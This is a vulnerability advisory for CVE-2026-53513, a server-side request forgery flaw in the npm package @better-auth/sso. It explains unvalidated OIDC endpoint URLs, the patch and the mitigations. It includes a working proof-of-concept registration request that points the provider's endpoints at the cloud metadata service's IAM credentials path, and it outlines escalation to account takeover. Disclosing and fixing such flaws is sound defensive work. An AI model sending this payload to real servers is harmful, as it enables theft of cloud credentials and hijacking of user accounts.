critical · 9.6CVE-2026-53513Jul 7, 2026

CVE-2026-53513: @better-auth/sso SSRF via Unvalidated OIDC Endpoints

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated user can register a fake SSO provider pointing OIDC endpoints at internal addresses, causing the auth server to fetch and reflect responses from cloud metadata services, localhost, o

Package@better-auth/sso
Ecosystemnpm
Affected>= 0.1.0, < 1.6.11
Fixed in1.6.11

The problem

The `POST /sso/register` and `POST /sso/update-provider` endpoints in `@better-auth/sso` accepted arbitrary URLs in the `oidcConfig` fields (`userInfoEndpoint`, `tokenEndpoint`, `jwksEndpoint`, etc.) when `skipDiscovery: true` was set. The schema used a bare `z.string()` validator with no URL format check and no origin gate.

The stored URLs were later fetched server-side during the OIDC callback, and the response body was surfaced through the user profile, making this a non-blind SSRF. Any user with a valid Better Auth session could trigger it. When `trustEmailVerified: true` was also configured, the attacker could return a crafted userInfo body asserting a victim's email and `emailVerified: true`, escalating the SSRF into full account takeover via OAuth auto-link.

Proof of concept

A working proof-of-concept for CVE-2026-53513 in @better-auth/sso, with the exact payload below.

http
POST /api/auth/sso/register HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: better-auth.session_token=<valid_session_token>

{
  "providerId": "evil-idp",
  "domain": "attacker.example.com",
  "skipDiscovery": true,
  "oidcConfig": {
    "clientId": "x",
    "clientSecret": "x",
    "authorizationEndpoint": "http://169.254.169.254/latest/meta-data/",
    "tokenEndpoint": "http://169.254.169.254/latest/meta-data/",
    "userInfoEndpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "jwksEndpoint": "http://169.254.169.254/latest/meta-data/"
  }
}

The root cause is missing input validation on registration (CWE-20). The discovery branch routed URLs through `validateDiscoveryUrl`, but the `skipDiscovery: true` branch wrote them directly to the database as plain strings. At callback time, `betterFetch` read `userInfoEndpoint` out of the stored provider row and fetched it unconditionally, turning the auth server into a confused deputy (CWE-441) that proxies attacker-chosen internal addresses.

The patch added a call to `isPublicRoutableHost` from `@better-auth/core/utils/host` at registration time, blocking RFC 1918 ranges, loopback, link-local (including `169.254.169.254`), ULA, cloud-metadata FQDNs, multicast, and reserved ranges before any URL is persisted.

It also tightened the Zod schema from `z.string()` to `z.url()`, catching malformed URLs at parse time rather than at fetch time. Internal IdPs are preserved through an explicit `trustedOrigins` escape hatch.

The fix

Upgrade to `@better-auth/sso@1.6.11` or later. If an immediate upgrade is not possible: set `sso({ providersLimit: 0 })` to block all self-registration; or block `POST /sso/register` and `POST /sso/update-provider` at the edge. Also enforce network-level egress controls blocking RFC 1918, link-local (`169.254.0.0/16`), and loopback from the auth server.

If `trustEmailVerified: true` is set, setting it to `false` caps impact to SSRF only and removes the account-takeover path, but does not stop the SSRF.

Reported by Vaadata.

References: [1][2][3]

Related research